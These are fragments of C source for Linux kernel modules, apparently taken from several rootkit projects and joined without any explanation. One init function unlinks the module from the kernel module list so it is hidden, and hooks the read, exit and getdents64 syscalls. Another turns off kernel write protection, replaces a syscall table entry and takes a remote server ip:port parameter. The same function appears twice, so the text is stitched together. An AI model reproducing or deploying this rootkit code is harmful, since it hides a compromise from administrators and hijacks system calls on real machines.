int rootondemand_init(void) {
#ifdef DEBUG
/* Print prev and next modules in linked list */
int *ptr=(int *)THIS_MODULE->list.prev;
INCREASE_PTR(ptr,sizeof(struct list_head));
DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr);
ptr=(int *)THIS_MODULE->list.next;
INCREASE_PTR(ptr,sizeof(struct list_head));
DEBUG_PRINTK("%s\n",(ptr[0]==0) ? "NONE" : (char *)ptr);
#endif
/* Voluntary redundant */
#ifndef DEBUG
/* Let's cloack from module list ;P */
struct list_head *l_ptr=&THIS_MODULE->list;
try_module_get(THIS_MODULE);
l_ptr->next->prev=l_ptr->prev;
l_ptr->prev->next=l_ptr->next;
l_ptr->next=LIST_POISON1;
l_ptr->prev=LIST_POISON2;
#endif
sys_table=find_systable();
if (!sys_table) return(-EFAULT);
__asm("cli");
PARASSITIZE(exit);
PARASSITIZE(read);
PARASSITIZE(getdents64);
__asm("sti");
return(0);
}
int rootondemand_init(void) {
/*
#ifndef DEBUG
try_module_get(THIS_MODULE);
#endif
*/
sys_table=find_systable();
if (!sys_table) return(-EFAULT);
__asm("cli");
PARASSITIZE(exit);
PARASSITIZE(read);
__asm("sti");
return(0);
}
int my_module_init(void)
{
addr_t * table;
const char delimiter[] = ":";
printk(KERN_INFO "Load My Module ...\n");
table = find_systable();
if (table == NULL) {
return -1;
}
//Unlock write memory
write_cr0(read_cr0() & (~ 0x10000));
//Change syscall
sys_saved = table[INSERT_INDEX];
table[INSERT_INDEX] = (addr_t) sys_netmalloc;
//Lock write memory
write_cr0(read_cr0() | 0x10000);
printk(KERN_INFO "... done!\n");
printk(KERN_INFO "Check good parameter : %s\n", server);
ip = strsep(&server, delimiter);
port = strsep(&server, delimiter);
//TODO others checks
if (ip == NULL || port == NULL) {
printk(KERN_INFO "bad parameter\n");
return -1;
}
printk(KERN_INFO "ip='%s',port='%s'\n", ip, port);
return 0;
}
void my_module_exit(void)
{
addr_t * table;
printk(KERN_INFO "Unload My Module ...\n");
table = find_systable();
if (table == NULL || sys_saved != NULL) {
return;
}
//Unlock write memory
write_cr0(read_cr0() & (~ 0x10000));
//Replace syscall
table[INSERT_INDEX] = sys_saved;
//Lock write memory
write_cr0(read_cr0() | 0x10000);
printk(KERN_INFO "... done!\n");
}
